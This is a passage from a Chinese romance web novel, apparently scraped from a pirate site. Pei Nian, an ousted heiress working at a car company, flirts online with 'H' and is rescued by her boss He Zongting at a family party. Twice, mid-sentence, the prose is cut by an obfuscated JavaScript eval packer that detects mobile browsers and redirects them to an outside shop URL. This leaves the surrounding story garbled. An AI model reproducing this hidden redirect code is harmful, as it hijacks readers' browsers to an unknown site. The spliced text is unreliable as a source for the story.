等高理将买回来的板鞋分发给各员工之后,贺宗霆也翻完了裴念的报告。 也没提什么意见,带着高理离开了展厅。留下了一群受宠若惊的女员工。 车开出停车场的时候,商场内的活动转移到了广场。 裴念脚踩板鞋,灵活地穿梭在人群之中,手中挥舞着印着车标的灯牌,像个萤火虫飞来飞去。 贺宗霆朝灯牌扫了眼,不得不承认,他欣赏裴念的坚韧努力的处世态度。 这样的员工,想快点涨薪不是不可能。 至于裴念喜欢他这件事,贺宗霆曾经嗤之以鼻,现在却有所改观。 他想,等两个月约定期一到,感情他虽给不了,但能把她当个普通朋友。 几天的活动下来,裴念已经适应了高压的节奏,晚上结束工作后,还有力气和杨泽吃个宵夜再回家。 杨泽虽不是京市人,但自高中起就在京市上学,比裴念这个从小在京市长大的人更知道哪里的小吃地道。 糖火烧、面茶、炸酱面,裴念自己吃得高兴,还不忘发给H看。 贺宗霆每天一打开聊天框,入眼皆是各类烟火气息浓郁的小吃,和裴念真情实意的好评。不知道的还以为误入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275953|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么民间美食专栏。 他食欲不重,对吃的要求只是健康及营养,裴念发的那些小吃是他全然不会尝试的类型。 因此当她说之后见面要带他重新吃一遍的时候,他只回了个句号。 裴念显然是没看出他的拒绝,晚上工作结束,准时给他发来消息。 贺宗霆打开图片,今天她吃的是铜锅涮配酸梅汤。 暗黄的灯泡下一方油腻的方桌,桌上铜锅咕咕冒着热气,坐她对面的人正拿着装酸梅汤的玻璃瓶往杯子里倒。 贺宗霆把图片放大了一些,确定了,那显然是个男人的手。 他退出图片,看了眼时间。 晚上十点三十九分。 手机嗡的一声,nn:【铜锅涮这种人间美味,我居然第一次尝试!!我决定了,以后每个月都要来吃一次!】 发完这条,她没再发别的。 仿佛把他当成日记本,一通输出,只为记录。 贺宗霆签了两份合同,又拿起手机,明知故问:【你和同事一起?】 裴念吃美了,一连吃了半份肥牛,才想起来看手机,看到H的消息,开始大肆和他称赞靠谱的杨泽:【是我上司,最近都是和他一起吃宵夜,他人超好,之前给你发的那些店都是他带我去的[害羞][害羞]】 H却没有被她的情绪感染,冷冷回了个:【哦】 裴念讷讷放下手机,端起杯子喝了口酸梅汤,眼睛瞬间被酸得眯了下,脑海忽然浮现一个荒谬的想法。 酸梅汤加了气泡,滑过喉咙后痒痒麻麻,仿佛起了醉意。 裴念壮着胆子问H:【你难道是在吃醋吗?】 发完后,她有些忐忑,一方面笃定H现在肯定对她没感觉,一方面又侥幸,万一有那么一点点呢。 H:【?】 看到他的回答,裴念心道果然,H哪是会轻易动心的人。 不等她说什么,H罕见地接着给她发了第二条消息。 H:【我在加班】 意思是没空理会她的胡言乱语。 裴念觉得微窘,脸颊热热的,学他回了个:【哦。】 / 这天活动,由于各部门沟通不到位,到了中午宣传册就不够用了。 好在商场离公司不远,下午趁不忙的时候,杨泽带着裴念回公司拿。 到办公室的时候,策划三组的工位上不见人影,杨泽给韩杨打了个电话,得知几个组的组员正在餐厅吃下午茶。 张芮之凑到听筒说:“正好多两杯咖啡,你们快来。” 杨泽和裴念本意是拿了咖啡就走,一到餐厅被组员们拉着扯起了闲话。 张芮之看了杨泽朋友圈的夜宵,眼泪从嘴角流出来:“组长,你是不是不爱我和小韩了,打牙祭都不叫我俩。” 韩扬配合地做出怨妇状:“既然这样,我俩只能在冷宫整日以泪洗面了。” 杨泽微笑:“组长当然爱你们,等会儿你俩就接替小裴跟我去活动现场。” 曾被活动折磨得累死累活的两人立刻摆手:“不了不了,我俩好像也没那么爱吃,组长还是和小裴继续恩爱吧。” 跃维基层员工年轻,平日里开起玩笑没个度,拉郎更是张口就来,放得开的同事甚至会夸张地附和。 裴念脸皮薄,加上来公司不算久,略有些不自在地喝了口咖啡。 “真的?”杨泽看出她的局促,扯开话题:“本来还想叫你俩今晚一起来吃宵夜…” 两人又立刻变脸,狗腿地给杨泽捏肩捶背。 杨泽先立下规矩:“先说好,喝酒可以,一人只限两瓶。” 韩扬不满地嚷:“吃宵夜限制喝酒还有什么意思?!” 张芮之嫌弃地怼他:“你还敢说,上次聚餐喝多发酒疯的人是谁?” 韩扬心虚地挠头:“往事不必再提…” 张芮之哼哼两声,拿出手机给裴念看韩扬酒后把电线杆当树爬的视频,裴念笑得前仰后合,后背撞上桌角,没注意到杨泽扶了她一把。 餐厅门口响起脚步声,杨泽回头,看到来买咖啡的贺宗霆,立刻收回手站直:“贺总。” 其他人都纷纷正色跟着打招呼,裴念和杨泽对视一眼,心下都有些惴惴,严格来说他俩现在应该在活动现场。 杨泽清了清嗓子,对组员说:“你们吃完就回去工作,”说完,他又朝裴念侧了下头:“小裴,跟我回现场。” “好的。”裴念快速将咖啡放进纸袋,鸡仔一样贴到杨泽身后,跟着他快速出了餐厅。 全程没敢看贺宗霆一眼。 / 韩扬和张芮之下班后提前来了商场,等裴念他们结束活动,再一道去吃宵夜。 活动拖了些时间,到原定的烧烤店时已经没了位置,他们只好在附近找了家卖餐点的清吧。 清吧生意同样火爆,他们坐下点完餐后,上桌人留下的残局还未收拾。 杨泽和张芮之饿得头晕眼花,结伴去小吃街买零食垫肚子,裴念和杨泽累了一天便没去,靠在座位上休息。 裴念例行打开和H的对话框,相机一打开,才想起来菜还没上。 镜头内是杂乱的桌子,餐盘在桌角随意摆着,橘子皮散落其中,顺着数量可观的科罗纳酒瓶,可以看到杨泽拿着手机的双手。 裴念心里一动,按下了拍摄,给H发了过去,并欲盖弥彰地说了句:【今晚吃宵夜的店。】 H还未回消息,穿梭在各个卡座的服务员终于发现了他们这桌的狼藉,嘴上说着抱歉,麻利地上前收拾。 服务员快速将餐盘叠到一起,正要放进推车,摆在最上面的盘子一划,一大半悬在空中摇摇欲坠,眼看就要砸到地上。 裴念立刻去扶,和同样伸手的杨泽碰到手指。 服务员将一叠盘子小心放推车后,扶着胸口连声道谢。 裴念笑着说没关系,余光看到杨泽正看着她,等她看回去时,却慌张错开视线,耳朵在半明半昧的光线下也能看出很红。 她心里咯噔一声,觉得这就是自己利用别人撩H的报应,正苦恼怎么委婉地告诉杨泽自己有喜欢的人,H回消息了。 【酒吧?】 裴念注意力马上被拉回到手机里:【是清吧,也可以点餐,有很多好吃的。】 她正要说等餐点上了拍给你看。 H显然已经误会:【喝这么多酒?】 裴念解释:【我还没喝,这是上桌人留下的,刚刚服务员已经收拾过了。】 书房内灯光明亮,贺宗霆捏了捏紧锁的眉心,看到裴念的消息,又皱了起来。 还没喝。 那就是说等下还要喝。 和认识短暂的男上司,在环境混杂的深夜酒吧。 贺宗霆开始怀疑裴家引以为傲的精英家教是否合格,竟教得裴念一点安全意识也无。 他重新点开裴念发来的图片,发现酒瓶下印着的轻浮标语,想了想,回:【看桌子上的字】 裴念移开手机,看向杂物清完的桌面,离她最近的桌角用红漆印着一条标语——禁止酒后乱性。 她瞬间赧然,强调:【我才不会酒后乱性!!我酒品一向很好!从来没出过任何问题!!】 没和她喝过酒的H却莫名对她表示不信任:【从来?】 从幼儿园开始就是优等生的裴念最善于反省,当即自我审查了一番,还真从记忆里揪出几次酒后失态的片段。 具体情况她已忘记,是一同喝酒的顾免告诉她的。 饮酒过量后,她会变得非常黏人,像小孩一样抱着身边的人不松手,直到睡着。 裴念知道这很丢脸,但拥抱和乱性有着本质区别。 她不想让H误会,于是老老实实交代:【之前是有那么一两次酒后失态,但只是爱抱人而已…】 H好像真的在审判她的行为,过了半分钟才回她的消息。 【所以你今晚想抱谁?】 8. 第 8 章 裴念脸颊一下涨得通红。 这是她加上H一个月以来,第一次听见他说带有明显暧昧意味的话,虽然意在指责。 驻唱歌手休息结束,抱着吉他上台唱起情歌,慵懒的嗓音摩挲着台下人的耳膜,不喝酒人也要醉了。 气氛既然已经到这儿,裴念鼓足勇气撩H:【我想抱谁,你难道不是很清楚吗[脸红][脸红]】 H显然并未受到情歌影响:【不清楚,说出来】 裴念怂了,把勾划过的纸质菜单发给他。 【你看,我没点酒,只点了饭。】 【所以今晚谁也不会抱…】 贺宗霆眼前浮现裴念垂着脑袋的温讷样,他某个瞬间甚至觉得自己是个严厉的家长,正循循善诱地教导裴念这颗眼见就要往歪了长的小树苗。 好在他的教导很有成效,裴念显然知错就改,因此他得做出相应的表扬。 盯着手机屏幕还不够,裴念甚至还关掉了静音。 她的视觉和听觉都要第一时间得到H的消息。 叮。 屏幕里多出一行字。 来了。 H:【很乖】 裴念定睛一看,险些拿不住手机。 这个H今晚是魅魔来的。 脸颊降下去的温度复又烧起,裴念口干舌燥,摸到桌上的杯子,想灌点冰水冷静冷静,头一抬起发现杯子里空空如也,三双眼睛正炯炯盯着她。 韩杨嘴里塞着鸡柳:“小裴,你发烧了?” 张芮之瞥她的手机屏幕:“还是看到啥劲爆热搜整红温了?” 杨泽给她的杯子里倒上水:“是不是哪里不舒服?” “谢谢组长。”裴念接过杯子喝了一口:“我没事,跟人聊天呢。” 张芮之一听就来了兴趣:“男朋友?” 裴念摇了摇头:“是我暗恋的人。” 张芮之更兴奋了,“哦哦”喊了两声:“快讲讲,是什么样的人啊?你暗恋他啥啊?” 韩杨鸡柳也不吃了:“你们聊到那个阶段啦?我来给你分析分析。” 杨泽听到裴念的话愣了一会儿,才笑骂没眼色的组员:“小裴不想说就不说,你俩要实在闲就去后厨帮忙炒菜,饿死了都。” 裴念感激地对杨泽笑了笑:“其实也没什么特别的,上大学那会儿我家里出了点事,当时很多人对我落井下石,他非但没有,还很温柔地帮了我。” 她有点不好意思:“是不是很难理解,因为一点小事就暗恋别人这么多年。” “当然不会。”张芮之捧着脸:“我觉得好纯爱啊。” 杨泽:“雪中送碳比锦上添花珍贵,那人值得你喜欢。” 裴念弯起唇,戳了下H的头像:“我也这么觉得。”特别是和H聊了这么多天之后。 / 最后一场活动跃维请了代言人参加,官博早就放出了消息,代言人下午到场,上午展厅就来了众多粉丝守着。 上午场裴念忙得脚不沾地,直到中午吃饭的时候才有了片刻休息时间。 可还没在休息区待够一刻钟,总监就叫他们去展厅。 这种大型的活动,除了请代言人,跃维还邀请了一些科技区的博主前来参加,此刻他们正陆续到达。 裴念到现场没多久,就被一个男性博主拉入镜头拍摄,她从善如流地配合博主进行科普。 视频拍摄完,他们在轿车旁进行合照,裴念听见人群外有人叫她的名字。 她转头,看到宋舒和一个女孩正直勾勾看着她。 裴念朝她们四周扫了眼,没看到裴锦的身影,但悬着的心并没有放下,她抬手勾了下工牌,犹豫要不要把它藏起来。 可京市就这么大,她在跃维工作的消息迟早会传到裴家,总不能因为流言蜚语一直躲着,想到这儿,她不再纠结,扯正工牌,继续忙工作。 裴念埋头整理资料没一会儿,宋舒带着朋友在她对面坐下了。 “裴念,可以帮我们介绍一下这款车吗?”她指了指离他们最近的那辆车。 裴念:“可以,我去叫销售过来。” “你不行吗?”宋舒好笑地扫向她的工牌:“我看你也是跃维的员工。” 裴念合起资料,起身:“这边来。” 上车后,宋舒却没问具体性能,转头问坐在副驾上的朋友:“你知道小锦今天为什么没来吗?” 朋友:“家里有事?” “你这么说也没错。”宋舒朝车外的裴念看了眼,故意慢下语调:“她和裴太太去陪贺家老爷子下围棋了。” 宋舒的朋友也是圈内人,闻言讶然:“她们居然能请动贺老爷子。” “贺老爷子虽然老但还没糊涂,京市还有哪家比裴家更适合联姻的?”宋舒捏着方向盘转了转,笑道:“世家婚姻嘛,门当户对才有得商量。” 朋友赞同:“不是一个阶层,怕是连见面的机会都没有。” “可说呢,普通人再痴心妄想也没用…” 宋舒和朋友意有所指的对话,裴念左耳进右耳出,但不经意间还是听进去了一些。 她和黄昇不在一个阶层,确实连见一面都难,更遑论恋爱。 这些天的聊天仿佛一剂□□,让她忽略了这个客观存在的事实。 跃维的代言人是正当红的电影大花徐缦,下午四点,她出场后将现场的热度炒至沸腾。 互动环节本身简单,被粉丝们拖延了一些时间,结束时,太阳已然西沉。 到了合照环节,贺宗霆才到达现场,他深色西装笔挺,刚从生意场上下来,周身还带着严肃的气息。 可即便这样,他一出现在镜头下还是引起了大片的哗然。 这个曾经只出现在财经频道的贺家掌权人,长了张电影明星的脸,只是他一开口自带威严,喧嚣声竟消退了大半。 可惜他只说了个开头,话筒就出了故障。 裴念和几个同事在台下负责音响,一同事见状连忙蹲着从箱子里找出备用话筒,插上电,递给站在一旁的裴念:“小裴,快给贺总送去。” 这种时候顾不上避嫌,裴念当即大步走到台下,把正常的话筒交给贺宗霆。 正对着贺宗霆和徐缦拍照的娱记急躁地喊她:“喂!你!别挡镜头!!” 即便是跃维这样的大厂员工,在名利场上仍是地位低微的小角色,这些媒体趋炎附势惯了,完全没把戴着工牌的裴念放在眼里。 这么多摄像头对着,裴念就算心里有委屈也只能咽下,她小声叫了声“贺总”,躬身去拿他手里那只出故障的话筒。 贺宗霆却没给她。 那娱记见裴念还愣在原地,火气蹭地一下上来,正欲骂人,冷不丁被贺宗霆觑了一眼。 夏日炎炎的傍晚,那眼神却冷若寒潭。 娱记立马熄火,悻悻闭上了嘴。 贺宗霆这才把话筒交给裴念。 裴念快速拿了话筒下去,观看了全程的同事兴奋地压低嗓音八卦:“贺总刚刚护短的样子好帅啊!你看到他那个眼神了吗?杀气腾腾的,那记者吓得脸都白了。” 其他几个同事也跟着泛起了花痴。 裴念朝台下乌泱泱的媒体看了看,某种意义上,贺宗霆在公众场合的表现也影响着公司的形象。 他看似护短的行为应该只是为了公司,但作为没什么权势的螺丝钉,她还是感觉到了一丝感动。 整理东西回公司的时候,裴念收到了周芸的微信:【念念,这周末是妈妈的生日宴,你记得回家。】 裴念觉得意外,按说周芸的生日宴会请京市各世家名流参加,裴家应该不想让她这个假千金出现才对。 而且她也并不想去凑热闹。 周芸可能猜到她会拒绝,又给她发了一条信息:【妈妈想你了。】 裴念鼻子一酸,想也没想地回了句好的。 等她收起手机,看到不远处和助理说话的贺宗霆时,又后悔自己刚刚答应的太过鲁莽。 裴家现在迫切想和贺家联姻,这次宴席必定会全力邀请贺家人出席,若是明日贺宗霆也在,和她撞个正着,圈子里指不定又要传什么谣言。 她是真的很想同贺宗霆划清界限。 裴念心事重重地盯着那道颀长的背影,一分钟后,高理率先发现她的存在,扬手朝她打了个招呼:“裴小姐。” 贺宗霆闻声回头,对她挑了挑眉。 似乎在问她,做什么? 裴念一咬牙,慢吞吞蹭过去,小声问了自己最想知道的问题:“贺总,这周末你有什么安排吗?” 高理尽量不露出吃惊的表情。 贺宗霆看她的眼神意味深长。 裴念意识到自己的话引起了歧义,但事情复杂,她不知道该如何解释。 索性,贺宗霆并没要她解释:“开会。” 裴念舒了一口气,放松地笑了。 高理试探地问:“你问这个做什么?找贺总有事?” “没事没事,”裴念摆手,恭敬地对贺宗霆微微鞠躬:“祝您工作顺利,记得注意休息。”说完就如释重负地大步走了。 高理不理解:“裴小姐这是?” 贺宗霆却像是并未对她怪异的行为感到一丝困惑,淡声道:“又发疯。” / 周六晚,顾免陪裴念逛街,买明日给周芸的生日礼物。 顾免跟在裴念身后穿梭在奢侈品货架:“要我说,你根本就没必要去。” 裴念拿起人台上项链的价签看了眼,又放下:“我过去给了礼物就走,不多待。” 顾免朝店门口橙色的标志努努嘴:“那你也用不着买这么贵的礼物啊,她裴太太少一件奢侈品没什么,你少个几万块日子还过不过了?” 工资还没发,太贵重的礼物裴念确实买不起,只好拉顾免到其他店挑选,最后还是买下一对价值五位数的铂金耳环。 周芸喜欢收集珠宝,家里有个专门摆放首饰的房间,她买的这幅耳环周芸未必能看得上眼,但裴念不想买太便宜的,怕周芸看了伤心。 顾免看着她刷信用卡,心有不忿:“我就不信她不知道你缺钱,还专门叫你去生日宴,安的什么心啊。” 裴念从小和顾免一起长大,以前没少往对方家跑,可自从裴念离开裴家,顾免就再也没去过,提起周芸也没好脾气,这次宴席,顾家得了请帖,顾免只管让大哥一人前去。 “而且我好不容易休息一天,想约你打打球放松放松。”顾免喋喋不休地抱怨:“地方都订好了。” 裴念知道她是替自己委屈,从柜员手中接过包好的耳环,温声安慰道:“你先自己玩,等我放下礼物就去找你好不好?玩到几点我都陪你。” 顾免脸色这才好看了点,但想到她一人去赴宴,不免担忧:“明天要是有人给你难堪,你给我打电话,我过去给你出气。” 裴念:“别担心,她既然叫我去肯定是和家里打过招呼了。” 顾免撇嘴:“这都是她当妈应该做的。” 裴念笑了下没接话,她还没想好明天见了周芸该喊什么。 翌日,裴念计算着时间,比宴席早一个小时到枫林苑,想着见周芸一面放下礼物就走。 枫林苑的门卫森严,出租车在大门处停下,门卫早就不是裴念住在这时的那个,她过去让门卫给裴家打了个电话。 接电话的是个中年男人,经他介绍是裴家这两年新聘的管家,姓金,裴念不认识,但金管家听到她的名字后就让门卫放了行,应该是周芸提前嘱咐过。 裴念到了别墅门口时,也是金管家前来接待。 时间还早,宾客还都没到,一众佣人正忙碌地穿梭在各个房间。 金管家把她带到偏厅的的会客室,让她稍等,就先去忙了。 这一等,就过去了半小时。 裴念透过窗户朝外看,陆续有豪华轿车停在别墅门前,心里不免有些焦急,她想给周芸打个电话,又怕她现在正忙,犹豫不决时,金管家终于再次出现。 “小姐,太太正在前厅的花园里面等您,你现在过去就行。” 裴家花园中间有一个休息区,小时候她怕热闹觉,周芸总抱着她在花园乘凉。 裴念勾起唇角点头:“谢谢,那我现在过去。” 偏厅就外就是花园的边缘,冬青墙边站着几个打扮奢华的年轻人,看到裴念过来便给她让开了路。 裴念朝花园中心走去,忽然察觉不对,以周芸内敛的行事风格,应该会约她到没人的地方才对。 想到此,她脚步顿住,拿出手机给周芸播去了电话,但一直到自动挂断都没人接听。 裴念别无他法,继续朝内走去,隔着花墙依稀听到了细碎的谈笑声,越靠近中心说话的声音就清晰。 一开始是一两个音节,后来能听到个别词语,等她走出花墙,就听到了一句完整的话。 “裴念还真是不择手段,居然跑去跃维工作。” 于此同时,她看到了坐在藤编沙发上的一群人。 聊得热火朝天的那几个背对裴念坐着,没听到她的脚步声,继续用夸张地语气八卦。 “说到底她也只剩这一个办法接近贺宗霆了。” “她也是天真,以为到跃维工作贺宗霆就会多看她一眼?” “贺宗霆最烦死缠烂打的人,别说多看,估计早就烦透她了……” 正对着裴念坐着的裴锦起先一直低着头看手机,喝水时抬头看到了几步外的裴念,她没有因为朋友肆意言论感到尴尬,平静地挑起一边的眉毛:“裴念,你怎么来了?” 议论正欢的几人霎时间停下,转过头看向裴念时,嘴里还在小声嘀咕着。 裴念看着他们丑恶的嘴脸,来时那点想见周芸的期待消失殆尽,她不想在这个残存美好回忆的地方进行无谓的争吵,只想离开。 她攥紧礼盒提袋,朝大门方向走,和正要进来的一行人狭路相逢。她看到裴建均周芸夫妻俩笑着将贺宗霆领了进来。 视线相撞,四人皆是一顿。 裴建均眉心倏地拧起:“你怎么在这儿?” 在裴念的记忆里,裴建均只是一个名为父亲的符号,他全年忙于工作,小时候甚至没怎么抱过她,因此她的身份曝光后,裴建均毫不犹豫就将她赶出了裴家。 于他而言,女儿是谁都无所谓,只要有就够了。 裴念嘴唇抿紧,看向沉默的周芸。 周芸神色慌张地瞄了眼丈夫,朝她走了一步,嗫嚅着说:“念念,你今天不该来的,就算想来也得提前给我打个电话呀。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275954|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴念觉得匪夷所思:“是你给发的信息。” 周芸霎时间睁大了双眼:“我没发信息啊…念念,你是不是搞错什么了…” 裴念余光看到沙发上坐着的裴锦抱起了手臂,好整以暇地看着眼前的闹剧,她忽然明白过来。 原来周芸真的没想过让她来,这个邀请从头到位都是裴锦为她量身定做的陷阱。 裴建均耐心告罄,厉声质问:“你到底来干什么?!” 裴念指甲陷进掌心,脚步下意识朝后错了半步,明明没人说话,她的耳中却嗡嗡作响。 气氛僵持两秒,忽然,一直沉默着的贺宗霆说:“来找我。” 话音一落,在场的人俱是一僵,像是都没反应过来贺宗霆这话的意思,离得最近的裴建均陪笑道:“贺总,您说什么?” 贺宗霆目光冷峻从他脸上扫过,似是对他的反问感到不满:“她来找我。” 周芸最先反应过来,心里一惊,颤声问裴念:“念念,你真是来找贺总的?” 裴念嘴唇动了动,什么话都没说出来,她也拿不准贺宗霆是什么意思。 贺宗霆把手中的礼盒交给裴建均,朝裴念看过来:“文件呢?” 裴念和他淡漠的瞳孔对视了两秒,不确定地说:“放…车上了?” 贺宗霆“嗯”了一声,超她招了招手:“过去拿。” 裴念无视周围人快要刻在她身上的视线,快速眨了下眼睛:“好的,贺总。” 她大步走到贺宗霆的的身侧,还饶有其事地解释了一句:“我以为您要在车上看,所以就先放车上了。” “没怪你。” 贺宗霆双手抄进西裤口袋,带着她离开了花园。 / 跟在贺宗霆身后走到他的车旁边后,裴念下意识朝车内望了望,车窗贴着防窥膜,什么都看不到。 就算看到,车里自然也没有什么文件。 贺宗霆注意到她这个愚蠢的小动作,没有对此进行嘲笑,他掏出车钥匙解锁,侧目问:“你回家?” 他对刚才发生的事只字未提,这让裴念自在了不少,她摇摇头,一股脑儿地把接下来的计划倒出来:“我要去明洙俱乐部,顾免在等我打球。” 贺宗霆眉心微挑:“我也去,坐我车?” 说不上为什么,可能是刚刚贺宗霆的帮助实在像个靠谱的母鸡,她跟着一路走来,竟产生了印随反应,本能地点头说好,熟练地打开副驾驶的门坐了进去。 “。” 贺宗霆听到副驾传来坚定地关门声,才一脸复杂地躬身进车。 裴念上车后并没有开启任何话题,作为一个蹭车的下属并不讨人厌,贺宗霆渐渐习惯了她的存在。 快到俱乐部的时候,裴念忽然扭头看向他:“贺总,你周五不是说今天要开会吗?” 贺宗霆反应过来,裴念那天专门来问他的时间安排,原是不想在裴家碰到他。 他做事没有向人解释的习惯,可裴念却不依不饶地看着他,乌黑的瞳孔讷讷的,看起来有一些可怜。 贺宗霆简短道:“老爷子让走一趟,推不掉。” 裴念这才转回去脑袋,过了一会儿,才没什么精神地说:“这样啊。” 那种莫名其妙当家长的感觉又来了,贺宗霆额角跳了跳,红灯时从车载冰箱拿出一瓶苏打水放到中控台,淡声:“下车再喝。” 裴念明显怔了几秒,小心翼翼把瓶子拿到手里,再开口时声音总算洪亮了点:“谢谢。” 到俱乐部之后,他们各自去找朋友,最后却一道推开了保龄球馆的玻璃门。 坐在门边的长椅上打电话的顾免看到他们一前一后进来,眼珠子差点瞪出来,等贺宗霆一走,她唰地挂断电话,冲裴念挤眼睛:“发生了什么?!你怎么会跟贺宗霆一起过来?” 裴念将下午在裴家发生的事大致和她说了一遍,顾免听完后冷笑着将裴家上上下下都骂了个遍,骂到最后甚至破了音。 “别生气,先喝点水。”裴念拧开苏打水的瓶盖,把水放到顾免手里,温柔地给她顺气。 顾免一口气喝了半瓶才缓过劲儿,眼睛一转:“不对,贺宗霆突然护着你是什么意思?他不会是后悔跟你退婚了吧?” “别瞎猜,他对员工一直很照顾。”裴念把之前贺宗霆让助理给大家买鞋的事告诉她。 “他这是被夺舍了?”顾免一言难尽地摸着下巴:“你听我句劝,你也别追黄晟了,改追贺宗霆,嫁入贺家气死裴家那群傻*。” “……” 顾免的公司最近正进军短剧行业,每天一门心思钻研如何爽死观众,经常一开口就出癫主意。 让她去追贺宗霆? 裴念敢保证,今天她向贺宗霆提出这个想法,贺宗霆明天就能让她滚出跃维。 顾免自然是开玩笑,拧上瓶盖,拉裴念站起来:“不想这些破事了,打球去。” “行。”经顾免提醒,裴念才想起贺宗霆也是来见朋友的,她瞥向球场小声问:“黄晟今天在吗?” 顾免怜爱地看着她摇头:“不在呢,你跟他的缘分还是差点儿。” “没事。” 裴念没觉得失落,她今天情绪本就大开大合,再见到黄晟她反而不能放松。 顾免善于社交,贺宗霆的几个朋友她基本都认识,到球场后她扬起水瓶冲他们打了声招呼。 贺宗霆从更衣室内出来,视线从顾免手中的水瓶扫过。 今天人多,场上只剩一个球道,裴念本就对保龄球不感兴趣,加上有点犯困,便让顾免去玩,她去一旁休息。 保龄球单人打没意思,顾免提议比赛,裴念趴在椅背上看他们的身影发呆,视线不可避免地落到离她最近的男人身上。 那人背对着她,穿着深灰运动服的背影挺拔落拓,躬身抛球时手臂上隆起优美的肌肉线条,好看的像是在拍运动广告。 她本以为是哪个她不认识的公子哥儿,抱着欣赏的目的多看了几眼,在那人侧身整理手套时,却冷不丁对上他金棕色的瞳孔。 裴念指尖蜷缩了下,快速错开了目光。 眼睛再不敢乱瞟,她专心记录比赛,随着记牌器上贺宗霆名字后的分数不断攀升,她还是忍不住朝他的身影看过去,这次很守规矩地只把视线放在他拿球的手上。 贺宗霆的手掌很大,修长的手指扣紧球孔,转动手腕时,手背上盘踞的青筋会凸起,随着球抛出去后微微浮动。 只听扑通一声。 轨道尽头的球瓶尽数落了进去。 裴念第一次发现保龄球居然是一项颇具美感的运动,手心微痒,她产生了想试一试的冲动。 一局比赛打完,他们聚在一起休息,趁贺宗霆去拿水商量如何击败他的技巧。 裴念悄悄来到赛道边,蹲下来拿起球掂了掂,挺重。 她回想着贺宗霆发球的动作,站起身拎球朝轨道的方向比划,总觉得自己的姿势哪里不对。 正钻研得起劲,头顶上方传来一道冷淡的声音:“做什么?” 裴念动作一顿,转过头,贺宗霆正居高临下看着她。 她尴尬地把球抬起来一些:“我想试一试…” 贺宗霆把矿泉水瓶放到地板,微凉干燥的手指用力按向她的手背:“扣紧。” 9. 第 9 章 贺宗霆靠她有些近,裴念局促地后退了半步,扣在球孔里的手指用力握紧,朝上抬了抬。 “这样?”她问。 贺宗霆走到一边:“试试。” 裴念学着刚刚偷看时记住的动作,尝试着将球打了出去,力道没有把握好,保龄球一路东倒西歪地滚向尽头,看起来没有任何胜算 她又去拿了一颗球,准备再接再厉,只听球道尽头叮铃当啷一连串的响动,她刚打出去的那颗球竟然巧合般地击中了三颗球瓶。 裴念心头一喜,下意识转身看向贺宗霆:“我击中了三个!” 估计是没想到她连这点小事都要炫耀,贺宗霆拧瓶盖的动作顿了一下,然后没什么表情的说:“不错。” 他刚刚喝了水,原本低沉的声音变得清澈很多。 裴念抬眸看着他的眼睛,思绪有一瞬间的恍惚。 贺宗霆的说话方式和H很像。 惜字如金,几乎从不说废话。 贺宗霆缓缓抬起眉骨,似是不悦。 裴念立马错开眼神,抱着球转回身,装作认真训练的样子。 又玩了两把,她一个球瓶都没打中。 顾免扬声叫大家起来继续比赛,裴念便放下球离开了场地,路过贺宗霆时下意识仰头看了他一眼。 接下来的比赛仍然激烈,顾免大部分时间都在输球,一旦赢球便远远冲裴念大喊着炫耀一番。 得意的样子和她刚刚打进三个球瓶时一样,裴念倏地反应过来。 朋友之间相处久了说话习惯会同化,她和顾免如此,想必贺宗霆同黄昇也是如此。 心头的疑惑消散,裴念没再刻意观察贺宗霆。 / 打完球接近晚上八点,一行人饿得前胸贴后背,其中一人打电话订了饭店包厢,顺便邀请顾免她们一道去吃。 顾免欣然答应,说好要陪到底的裴念之好一同前去。 饭店地处偏远,名气却很大,平常人来吃饭得提前一个月预订,打电话的那人和饭店太子爷范成钰相熟,常年给他留着一个包厢。 范成钰今晚碰巧也在,他们一行人进包厢没多久,他带着两瓶好酒前来敲门。 一进包厢,范成钰和好友寒暄两句直奔贺宗霆:“贺总,知道你今晚要来,我让后厨多备了几个时令青菜,马上就送过来。” 范成钰混迹圈内这些年,早就摸透着些豪门子弟的喜好,佳肴美馔于他们而言没什么稀奇,倒不如清新健康的蔬菜讨人喜欢。 “客气。”贺宗霆休息日不爱带司机,以茶代酒抿了一口。 范成钰还想再多聊几句,助理给贺宗霆打来了电话,他起身到落地窗前接起。 范成钰见状干脆在好友身侧的空位坐下,刚巧就在裴念旁边。 他落座后便隔着裴念朝顾免举了举杯,闲聊了两句才将目光落在裴念身上。 范家原是江城的富商,近些年生意才转移到京市,因此范成钰并不清楚京市很多轶闻,加上裴念这几年在香港念书,他瞧着眼生,便问起顾免:“这位是?” 不等顾免回答,裴念率先道:“我是顾免朋友,裴念。” 范成钰也没多想,跟着圈内人出席应酬的不在少数,来的多是家境普通但想借着地位攀关系的人。 面对这些人,范成钰平常只礼貌点个头,今天在灯下多看了裴念两眼,心道这姑娘确实有跟着混圈的资本,漂亮的过于出众了,心里一痒,他便忍不住攀谈起来:“裴小姐今天是第一次来吧,我给你介绍介绍。” 他说着,便朝裴念伸出了手。 裴念抬手和他短暂地握了下,收回时手肘撞倒了空着的高脚杯,杯缘撞在桌上发出了清脆的撞击声。 旁边正在说话的人转头看过来,裴念冲他们抱歉地笑笑,转头时余光扫到落地窗边的贺宗霆。 他正看着她。 浓眉微拧,面色不虞。 好像她发出的噪音触犯了天条,罪不可恕。 放在一个月之前裴念会选择无视他,但现在她是贺宗霆最有眼色的员工,于是裴念默默扶起杯子,对贺宗霆弯起唇角,陪了个真诚无比的笑脸。 